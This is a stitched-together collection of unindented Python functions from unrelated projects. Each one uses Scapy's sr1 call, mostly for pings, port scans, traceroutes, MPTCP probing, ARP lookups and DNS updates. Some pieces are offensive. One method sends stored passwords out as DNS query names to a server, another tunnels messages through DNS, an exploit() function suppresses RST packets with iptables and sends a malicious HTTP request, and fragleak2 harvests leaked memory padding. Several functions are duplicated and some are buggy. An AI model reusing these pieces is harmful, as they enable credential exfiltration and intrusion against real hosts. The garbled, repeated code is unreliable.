def checkMPTCPSupportViaRST(port,
target,
timeout,
localIP,
MpCapAlreadyPassed=False):
MpCapPassed = MpCapAlreadyPassed
#TODO: Abstract this out more elegantly so i dont repeat code from elsewhere
if not MpCapPassed:
pkt = makeMPCapableSyn(localIP, port, target)
response = sr1(pkt, timeout=timeout)
if response and getMpOption(pkt.getlayer("TCP")) is not None:
MpCapPassed = True
if MpCapPassed:
pkt = makeJoinSyn(localIP, port, target)
response = sr1(pkt, timeout=timeout)
#TODO: Add checks for other types of response (such as ICMP)
#TODO: Make this clearer
#Check for the flag with a mask
print response.getlayer("TCP").flags
if (0x04 & response.getlayer("TCP").flags) == 0x04:
print "RST Test indicates MPTCP support"
return True
else:
print "RST Test indicates host doesn't understand MPTCP"
return False
def isup(self):
arp_req = ARP(psrc=self.src, pdst=self.dst)
arp_res = sr1(arp_req, timeout=1)
if not (arp_res is None):
return True
icmp_req = IP(src=self.src, dst=self.dst) / ICMP()
icmp_res = sr1(icmp_req, timeout=1)
if not (icmp_res is None):
return True
tcp_req = IP(src=self.src, dst=self.dst) / TCP(dport=80)
tcp_res = sr1(tcp_req, timeout=1)
if not (tcp_res is None):
return True
tcp_req = IP(src=self.src, dst=self.dst) / TCP(dport=443)
tcp_res = sr1(tcp_req, timeout=1)
if not (tcp_res is None):
return True
udp_req = IP(src=self.src, dst=self.dst) / UDP(dport=53)
udp_res = sr1(udp_req, timeout=1)
if not (udp_res is None):
return True
return False
def send_packet(self):
choose_way = self.choose_way.currentIndex()
if choose_way == 0:
send(self.forged_packet)
elif choose_way == 1:
sendp(self.forged_packet)
elif choose_way == 2:
sr(self.forged_packet)
elif choose_way == 2:
sr1(self.forged_packet)
elif choose_way == 3:
srloop(self.forged_packet)
def ping(self):
for x in range(self.qua):
result = sr1(self.pkt, timeout=1, verbose=False)
if result:
print(self.ip, '可达！')
else:
print(self.ip, '不可达！')
def _port_ping(self, hosts: Queue, interface: str, results: set):
self.logger.debug("{}: Starting TCP SYN ping thread.".format(threading.current_thread().name))
while True:
ip = hosts.get() # type: IPAddress
ip_str = str(ip)
# Send SYN with random Src Port for each Dst port
for dstPort in self.portstoscan:
srcPort = random.randint(1025, 65534)
resp = sr1(IP(dst=ip_str) / TCP(sport=srcPort, dport=dstPort, flags=ScapyTCPFlag.SYN), timeout=1,
verbose=False,
iface=interface)
if resp and resp.haslayer(TCP):
if resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK) or resp[TCP].flags == (TCPFlag.RST | TCPFlag.ACK):
# Send Reset packet (RST)
send(IP(dst=ip_str) / TCP(sport=srcPort, dport=dstPort, flags=ScapyTCPFlag.RST),
iface=interface, verbose=False)
# We know the port is closed or opened (we got a response), so we deduce that the host exists
node = NetworkNode()
node.ip = ip
node.mac = EUI(resp.src)
node.host = resolve_ip(resp[IP].src)
results.add(node)
self.logger.debug(
"Found a live host by pinging port {port_nbr}: {live_host}.".format(port_nbr=dstPort,
live_host=str(node)))
# We don't need to test the other ports. We know the host exists.
break
hosts.task_done()
def icmpv6_ns(host, ifname): # 请求特定IPv6地址的MAC地址
ll_mac = get_mac_address(ifname) # 获取本机接口MAC地址
# 构建icmpv6_ns数据包
# -----------IPv6头部 - -----------
# Next Header: 0x3A(ICMPv6)
# 原地址: Link Local address
# 目的地址: Solicited node multicast address
#
# ----------ICMPv6头部 - ---------
# ICMPv6 Type: 135
# ICMPv6 Code: 0(NS)
# 目标地址: 2001:1::129
#
# ----Source Link-Layer Address - ---
# 源地址: 本地MAC地址
packet = IPv6(src=mac_to_ipv6_linklocal(ll_mac), dst=Solicited_node_multicast_address(host)) / \
ICMPv6ND_NS(tgt=host) / ICMPv6NDOptSrcLLAddr(lladdr=ll_mac)
# packet.show()
# 发送数据包
result = sr1(packet, timeout=2, verbose=False)
# 提取返回的MAC地址
# result.show()
return result.getlayer(
"ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
).fields['lladdr']
def scan(conn, host, nm, icmp):
# TODO: geolocation script --script ip-geolocation-geoplugin
pack = IP(dst=host) / icmp
conn.processedIps.insert({"_id": int(netaddr.IPAddress(host))})
try:
reply = sr1(pack, timeout=TIMEOUT, verbose=False)
if reply is not None:
try:
nm.scan(host, arguments=args)
if host in nm.all_hosts():
if nm[host].state() == 'up':
jsonRes = json.dumps(nm[host])
conn.ipsBanners.insert({"info": jsonRes})
except KeyError as e:
print str(e)
except ValueError as e:
print str(e)
except TypeError as e:
print str(e)
except AttributeError as e:
print str(e)
except:
print "Unexpected error:", sys.exc_info()[0]
gc.collect()
del reply
except:
print "Ping error:", sys.exc_info()[0]
gc.collect()
del pack
def passive(dst):
"""
+------------------+
| OS TTL Values |
+---------+--------+
| OS | IP TTL |
+---------+--------+
| Linux | 64 |
+---------+--------+
| Windows | 128 |
+---------+--------+
| | |
+---------+--------+
| | |
+---------+--------+
"""
ip_packet = IP(dst=dst)/ICMP()
packet_resp = sr1(ip_packet, timeout=4)
if packet_resp is None:
print('[!] Request timeout')
return 'timeout'
resp_ttl = packet_resp.getlayer(IP).ttl
if resp_ttl <= 64:
print(f'[+] Remote OS is Linux - TTL {resp_ttl}')
return 'linux'
elif resp_ttl <= 128:
print(f'[+] Remote OS is Windows - TTL {resp_ttl}')
return 'windows'
else:
print(f'[+] Remote OS is other or protected - TTL {resp_ttl}')
return 'other'
def trace_route(hostname):
ip = str(socket.gethostbyname(hostname))
print(hostname)
print("IP ", ip)
header = '{:<2} {:<12} {:<18} {:<15} {:<14} {:<13} {:<10} {:<12} {:<14}' \
.format('', '', "IP", "CITY", "STATE", "ZIP", "LAT", "LON", "COUNTRY")
print('\n', header)
for i in range(1, 28):
reply = sr1(IP(dst=sys.argv[1], ttl=i) / ICMP(id=os.getpid()),
verbose=0)
if reply is None:
print("No Reply")
break
elif reply.src == ip:
params = ip_lookup(reply.src) if not ipaddress.ip_address(
reply.src) else "PRIV IP"
print('\n', "We're here!", '\n', end=' ', flush=True)
print_results(i, reply.src, params)
break
elif ipaddress.ip_address(reply.src).is_private:
priv = "PRIV IP"
print_results(i, reply.src, priv)
else:
params = ip_lookup(reply.src)
print_results(i, reply.src, params)
def ping(target_ip):
package = IP(dst=target_ip) / ICMP() / random_str_byte()
result = sr1(package, timeout=3, verbose=False)
if result:
return target_ip, SUCCESS
else:
return target_ip, FAILURE
def main(argv):
user_target = get_target(argv[0])
print(str(user_target))
string_list = format_target(user_target)
#Build a recon csv workbook
#""" Future feature
recon_wb = openpyxl.Workbook()
sheet = recon_wb.get_sheet_by_name('Sheet')
sheet['A1'].value = 'Target'
sheet['B1'].value = str(argv[0])
sheet['A2'].value = 'All addresses'
sheet['C2'].value = 'Active addresses'
sheet['B2'].value = 'Unresponsive addresses'
#"""
#loop through generated list of target IPs
#"""
for index, packet in enumerate(string_list, start = 0):
#input packet dest in 'All addreses column'
sheet.cell(row = (index + 3), column = 1, value = str(packet.dst))
delay = random.random()
sleep(delay)
ping_packet = (IP(dst=packet.dst)/ICMP())
ans = sr1(ping_packet, timeout = 4, verbose=0)
if not (ans is None):
print(ans.src + " is online.")
print(str(ans.src))
sheet.cell(row = (index + 3), column = 3, value = str(ans.src))
string_list.remove(packet)
else:
print("Timeout waiting for %s " %packet.dst)
sheet.cell(row = (index + 3), column = 2, value = str(packet.dst))
recon_wb.save(filename = 'test_workbook.xls')
def start_tracing(self):
try:
while self.__ttl_counter < TTL_MAX:
pkt = self.__generate_next_packet()
ans = sr1(pkt, verbose=False, timeout=TIMEOUT)
if ans is None:
print(
f'{self.__ttl_counter}: Reply timed out!\nMoving on to next client'
)
continue
rtt = "Not Applicable"
if hasattr(ans[ICMP], 'load'):
rtt = round((time.time() - float(ans[ICMP].load)) * 1000,
4)
print(f'{self.__ttl_counter}: {ans[0].src} | RTT: {rtt}')
# Terminating if we reach destination
if ans[ICMP].type == 0:
print(f"Destination Reached!")
break
except KeyboardInterrupt:
pass
def ping_one(dst, id_ping, seq_ping, ttl_ping):
send_time = time.time()
time_in_bytes = struct.pack('>d', send_time) # 把发出的时间,写入ICMP数据部分
# 构建ICMP Echo数据包
ping_one_reply = sr1(IP(dst=dst, ttl=ttl_ping) / ICMP(id=id_ping, seq=seq_ping) /\
time_in_bytes, timeout=2, verbose=False)
try:
if ping_one_reply.getlayer(ICMP).type == 0 and ping_one_reply.getlayer(
ICMP).code == 0 and ping_one_reply.getlayer(
ICMP).id == id_ping: # 确认type,code和id是否匹配
# 提取源IP,序列号,TTL,计算数据长度
reply_source_ip = ping_one_reply.getlayer(IP).src
reply_seq = ping_one_reply.getlayer(ICMP).seq
reply_ttl = ping_one_reply.getlayer(IP).ttl
reply_data_length = len(ping_one_reply.getlayer(Raw).load) + len(
ping_one_reply.getlayer(Padding).load) + 8
# 提取返回数据,转换为时间,并与当前时间计算时间差
reply_data = ping_one_reply.getlayer(Raw).load
receive_time = time.time()
echo_request_sendtime = struct.unpack('>d', reply_data)
time_to_pass_ms = (receive_time - echo_request_sendtime[0]) * 1000
# 返回数据长度, 源IP地址,序列号,TTL和用时
return reply_data_length, reply_source_ip, reply_seq, reply_ttl, time_to_pass_ms
except Exception as e:
if re.match('.*NoneType.*', str(e)):
return None
def udp_scan(port, ip):
print("Running UDP scan...")
port = int(port)
result = sr1(IP(dst=ip) / UDP(sport=RandShort(), dport=port), verbose=0, timeout=3)
if result and result.haslayer(UDP):
return True
return False
def mytraceroute(destination, timeout):
for i in range(1, 31):
pkt = IP(dst=destination, ttl=i) / UDP(dport=33434)
reply = sr1(pkt, verbose=0, timeout=timeout)
if reply is not None:
ip_addr = reply.src
if IPy.IP(ip_addr).iptype() != "PRIVATE":
obj = IPWhois(ip_addr)
results = obj.lookup()
#pp(results)
if results.get('nets', None):
print(ip_addr, ' : ', results.get('asn', '_'), '/',
results['nets'][0].get('name', '_'), '/',
results.get('asn_country_code', '_'), '/',
results['nets'][0].get('description', '_'))
else:
print(ip_addr, ' : ', results.get('asn', '_'), '/',
results.get('asn_country_code', '_'))
else:
print(ip_addr)
if reply.type == 3:
print("Destination reached")
break
else:
print("***")
def ping(ip):
ping_pkt = IP(dst=ip) / ICMP()
ping_result = sr1(ping_pkt, timeout=2, verbose=False)
if ping_result:
return ip, 1
else:
return ip, 0
def arp_request(dst, ifname):
hwsrc = GET_MAC_netifaces.get_mac_address(ifname)
psrc = GET_IP_netifaces.get_ip_address(ifname)
try:
arp_pkt = sr1(ARP(op=1, hwsrc=hwsrc, psrc=psrc, pdst=dst), timeout=5, verbose=False)
return dst, arp_pkt.getlayer(ARP).fields['hwsrc']
except AttributeError:
return dst, None
def tcp_task():
#随机产生一个1-65535的IP的id位
ip_id=randint(1,65535)
data = "m"*1400 # 一个最大传输单元（MTU）为1500字节，减去ip头20字节，再减去tcp头20字节，最大可传输数据为1460字节
pkt = IP(dst='192.168.214.129', id=ip_id) / TCP(dport=8080, flags="S")/data.encode(encoding="utf-8")
# 发送包，超时时间为1秒，如果对端没有响应，则返回None，有响应则返回响应包
res = sr1(pkt, timeout=1, verbose=False)
return res
def calcScapy(self, mtu):
payload = b'p' * mtu
pkt = IP(dst='www.baidu.com', flags='DF') / ICMP() / payload
answer = sr1(pkt, timeout=2, verbose=False)
if answer and answer[ICMP].code == 0 and answer[ICMP].type == 0:
if self.mtu < mtu:
self.mtu = mtu
self.mtuList.append(mtu)
def ping(self, ttl):
request = IP(dst=self.dst, id=randint(0, 0xffff), ttl=ttl) / ICMP()
reply = sr1(request, retry=3, timeout=2.0, verbose=0)
hop = Hop(self, request, reply)
print(hop)
self.hops.append(hop)
return hop.icmp()
def filter_port(ip, port):
closed_port = check_closed(ip)
s = sr1(IP(dst=str(ip)) / TCP(dport=port, flags='S'), timeout=2, verbose=0)
try:
if s != 'SA':
try:
if s[0][1].seq == 0:
pass
except:
s = sr1(IP(dst=ip) / TCP(dport=closed_port, flags='S'),
timeout=2,
verbose=0)
if s == None:
return None
else:
return True
except:
pass
def check_if_host_is_up(ip):
try:
print("Setting up ping for IP " + ip + ".")
ping = sr1(IP(dst=ip) / ICMP(), timeout=10, iface="eth0", verbose=False)
print("Ping successful! Beginning scan...")
except Exception as e:
print("Couldn't ping! Exiting...")
print("The error: " + str(e))
traceback.print_exc()
sys.exit(1)
def run(self):
"""
This function sends the Password data
"""
for password in self.user_data:
time.sleep(10)
answer: Union[Union[PacketList, List[Any]], Any] = sr1(
IP(dst=self.dns_server_ip) / UDP(dport=self.dns_port) /
DNS(rd=1, qd=DNSQR(qname=password)),
verbose=0)
def run(self):
req = IP(src=self.src, dst=self.dst) / TCP(dport=self.dport)
res = sr1(req, timeout=3)
if res is not None:
if str(res[TCP].flags) == "SA":
self.isopen = PortStatus.OPEN
else:
self.isopen = PortStatus.CLOSE
else:
self.isopen = PortStatus.TIMEOUT
def _send_ntp_client_request(self,
dst='pool.ntp.org',
ntp=NTP()) -> Packet:
pck = IP(dst=dst) / UDP() / ntp
if self.debug:
pck.show()
pck = sr1(pck)
if self.debug:
pck.show()
return pck
def active_host(ipaddr: str) -> bool:
"""Ping a target host using the specified IPv4 address.
Return true if target responds to our ICMP probe"""
packet = IP(dst=ipaddr) / ICMP()
response = sr1(packet, timeout=5, verbose=0)
if response:
return True
else:
return False
def joinScan(targetIPList,
portList,
localIP,
reuseRandoms=False,
timeout=None):
#TODO: Add return details
#TODO: Decide where this fits in the workflow, after an open TCP port maybe?
#TODO: Decide how we want to handle the return values from this
raise NotImplementedError
#The option to reuse random numbers for "increased speed"
if reuseRandoms:
sourceAddr = localIP
sport = randintb(16)
initSeq = randintb(32)
if timeout is None: timeout = 5
for targetIP in targetIPList:
for port in portList:
#First send a packet and see if we get a TCP response
pkt = makeMPCapableSyn(localIP, port, targetIP)
response = sr1(pkt, timeout=timeout)
if response is not None:
#if we do then send an invalid MPTCP join and see if we get a RST
pkt = makeJoinSyn(sourceAddr, port, targetIP)
response2 = sr1(pkt, timeout=timeout)
#If we get a RST then we know this host supports MPTCP
if response2 is None:
print "Target supports MPTCP but is being shifty"
#If we get a normal TCP reply we know it doesn't
else:
mpopt = getMpOption(pkt.getlayer("TCP"))
if mpopt is None:
print "We have a normal TCP packet here"
else:
print "This header contains the following MPTCP options:",
for mpo in mpopt:
print mpo.name
#If we get an MPACK then the host is HORRIBLY broken somehow
else:
#If we don't then this is just a vanilla TCP
print "The host seems down?"
def ping():
#随机产生一个1-65535的IP的id位
ip_id=randint(1,65535)
#随机产生一个1-65535的icmp的id位
icmp_id=randint(1,65535)
#随机产生一个1-65535的icmp的序列号
icmp_seq=randint(1,65535)
pkt = IP(dst='192.168.214.129', ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
# 发送包，超时时间为1秒，如果对端没有响应，则返回None，有响应则返回响应包
res = sr1(pkt, timeout=1, verbose=False)
return res
def udp_scan(ip, port):
try:
packet = IP(dst=ip)/UDP(dorp=int(port),sport=randint(1,65535))
result = sr1(packet,timeout=5,verbose=0)
time.sleep(0.1)
if result is None:
print("IP" + ip + str(port) + ":开放")
except:
print("扫描失败")
'''if (str(type(result))) == "<class 'NoneType'>":
def udp_task():
#随机产生一个1-65535的IP的id位
ip_id = randint(1, 65535)
#随机产生一个1-65535的icmp的id位
icmp_id = randint(1, 65535)
#随机产生一个1-65535的icmp的序列号
icmp_seq = randint(1, 65535)
pkt = IP(dst='192.168.214.129') / UDP(dport="53")
# 发送包，超时时间为1秒，如果对端没有响应，则返回None，有响应则返回响应包
res = sr1(pkt, timeout=1, verbose=False) / b"hello"
# res = sr1(pkt, timeout=1, verbose=False)
return res
def defaultScan(targetIPList,portList,localIP=None,checkHostUp=True,reuseRandoms=False,timeout=None):
#The option to reuse random numbers for "increased speed"
if reuseRandoms:
sourcAddr = localIP
sport = randintb(16)
initSeq = randintb(32)
if timeout is None: timeout=5
#Form of results
# results = {"targetIP":
# [{"porta","ResponseType"},
# {"porta","ResponseType"},
# {"porta","ResponseType"}
# ]
# }
results = {}
for targetIP in targetIPList:
print "Testing:", targetIP,
localIP = localIP if localIP else get_local_ip_address(targetIP)
gatewayIP = Route().route(str(targetIP))[2]
if checkHostUp and gatewayIP == '0.0.0.0':
print "... on local network...",
arpadd = getmacbyip(str(targetIP))
if arpadd == None:
print " not got MAC, skipping"
continue
if arpadd == "ff:ff:ff:ff:ff:ff":
print "This appears to be localhost?"
else:
print " at ARP:", arpadd
else:
print "Via", gatewayIP, " Not on local network"
for port in portList:
pkt = makeMPCapableSyn(localIP,port,targetIP)
response=sr1(pkt,timeout=timeout)
if response is None:
pass
#print "No pkt received from ", targetIP,":", port
else:
processedResponse = processResponsePacketSimple(response,targetIP,localIP,port,timeout)
if targetIP in results:
if processedResponse is not None: results[targetIP].append(processedResponse)
else:
if processedResponse is not None: results[targetIP] = [processedResponse]
#if True or port % 100 == 0:
# print "\n\tChecking port: ", port
return results
def send(self, message: str):
crafted_domain = f"{Domain.encode(message)}.{self.domain}"
packet = Packet.build_query(
{"dst": self.dns_server, "dns": {"qname": crafted_domain}}, self.domain,
)
answer = sr1(packet.packet, verbose=self.verb, timeout=1)
if answer.haslayer(ICMP) or answer.haslayer(IPerror):
logger.debug(answer.show())
logger.critical("Unreachable host or filtered port")
return None
return answer[DNS] if answer is not None else None
def exploit():
"""
Establish an HTTP conenction and send a malicious HTTP request.
"""
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 172.16.1.1 -j DROP')
src_port = random.randint(1024, 65535)
ip_pkt = IP(src=src_ip, dst=dst_ip)
tcp_pkt = TCP(dport=8080, sport=src_port, \
seq=random.randint(0, 100000), flags='S')
syn_ack = sr1(ip_pkt / tcp_pkt)
tcp_pkt = TCP(dport=8080, sport=src_port, \
seq=syn_ack[TCP].ack, ack=(syn_ack[TCP].seq + 1), flags='A')
send(ip_pkt / tcp_pkt)
http_msg = "GET /file.exe HTTP/1.1\r\nContent-Length: " \
+ str(len(msg)) + "\r\n\r\n" + msg
sr1(ip_pkt / tcp_pkt / http_msg, timeout=30)
exit()
def joinScan(targetIPList,portList,localIP,reuseRandoms=False,timeout=None):
#TODO: Add return details
#TODO: Decide where this fits in the workflow, after an open TCP port maybe?
#TODO: Decide how we want to handle the return values from this
raise NotImplementedError
#The option to reuse random numbers for "increased speed"
if reuseRandoms:
sourceAddr = localIP
sport = randintb(16)
initSeq = randintb(32)
if timeout is None: timeout=5
for targetIP in targetIPList:
for port in portList:
#First send a packet and see if we get a TCP response
pkt = makeMPCapableSyn(localIP,port,targetIP)
response=sr1(pkt,timeout=timeout)
if response is not None:
#if we do then send an invalid MPTCP join and see if we get a RST
pkt = makeJoinSyn(sourceAddr, port, targetIP)
response2=sr1(pkt,timeout=timeout)
#If we get a RST then we know this host supports MPTCP
if response2 is None:
print "Target supports MPTCP but is being shifty"
#If we get a normal TCP reply we know it doesn't
else:
mpopt = getMpOption(pkt.getlayer("TCP"))
if mpopt is None:
print "We have a normal TCP packet here"
else:
print "This header contains the following MPTCP options:",
for mpo in mpopt:
print mpo.name
#If we get an MPACK then the host is HORRIBLY broken somehow
else:
#If we don't then this is just a vanilla TCP
print "The host seems down?"
def checkMPTCPSupportViaRST(port,target,timeout,localIP,MpCapAlreadyPassed=False):
MpCapPassed = MpCapAlreadyPassed
#TODO: Abstract this out more elegantly so i dont repeat code from elsewhere
if not MpCapPassed:
pkt = makeMPCapableSyn(localIP, port, target)
response=sr1(pkt,timeout=timeout)
if response and getMpOption(pkt.getlayer("TCP")) is not None:
MpCapPassed = True
if MpCapPassed:
pkt = makeJoinSyn(localIP, port, target)
response=sr1(pkt,timeout=timeout)
#TODO: Add checks for other types of response (such as ICMP)
#TODO: Make this clearer
#Check for the flag with a mask
print response.getlayer("TCP").flags
if (0x04 & response.getlayer("TCP").flags) == 0x04:
print "RST Test indicates MPTCP support"
return True
else:
print "RST Test indicates host doesn't understand MPTCP"
return False
def fragleak2(target, timeout=0.4, onlyasc=0):
found={}
try:
while 1:
p = sr1(IP(dst=target, options="\x00"*40, proto=200)/"XXXXYYYYYYYYYYYY",timeout=timeout,verbose=0)
if not p:
continue
if Padding in p:
leak = p[Padding].load
if leak not in found:
found[leak]=None
linehexdump(leak,onlyasc=onlyasc)
except:
pass
def _ping(self, hosts: Queue, interface: str, results: set):
self.logger.debug("{}: Starting ICMP ping thread.".format(threading.current_thread().name))
while True:
ip = hosts.get() # type: IPAddress
ip_str = str(ip)
res = sr1(IP(dst=ip_str) / ICMP(), iface=interface, timeout=0.1, verbose=False)
if res:
node = NetworkNode()
node.ip = ip
node.mac = EUI(res.src)
node.host = resolve_ip(res[IP].src)
results.add(node)
hosts.task_done()
def snmpwalk(dst, oid="1", community="public"):
try:
while True:
r = sr1(IP(dst=dst) / UDP(sport=RandShort()) / SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])), timeout=2, chainCC=1, verbose=0, retry=2) # noqa: E501
if r is None:
print("No answers")
break
if ICMP in r:
print(repr(r))
break
print("%-40s: %r" % (r[SNMPvarbind].oid.val, r[SNMPvarbind].value))
oid = r[SNMPvarbind].oid
except KeyboardInterrupt:
pass
def dyndns_del(nameserver, name, type="ALL", ttl=10):
"""Send a DNS delete message to a nameserver for "name"
dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok)
example: dyndns_del("ns1.toto.com", "dyn.toto.com")
RFC2136
"""
zone = name[name.find(".")+1:]
r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5,
qd=[DNSQR(qname=zone, qtype="SOA")],
ns=[DNSRR(rrname=name, type=type,
rclass="ANY", ttl=0, rdata="")]),
verbose=0, timeout=5)
if r and r.haslayer(DNS):
return r.getlayer(DNS).rcode
else:
return -1
def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
"""Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136
"""
zone = name[name.find(".")+1:]
r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5,
qd=[DNSQR(qname=zone, qtype="SOA")],
ns=[DNSRR(rrname=name, type="A",
ttl=ttl, rdata=rdata)]),
verbose=0, timeout=5)
if r and r.haslayer(DNS):
return r.getlayer(DNS).rcode
else:
return -1
''' Sample script to send a DNS query ''' import scapy from scapy.sendrecv import sendp, sniff, sr1 from scapy.all import IP, UDP, DNS, DNSQR google_DNS_service = '8.8.8.8' name_to_find = "fmi.unibuc.ro" network_layer = IP(dst = google_DNS_service) transport_layer = UDP(dport = 53) dns = DNS(rd = 1) dns_query = DNSQR(qname = name_to_find) dns.qd = dns_query pachet = network_layer / transport_layer / dns # send and recieve one packet answer = sr1(pachet) print answer[DNS].summary()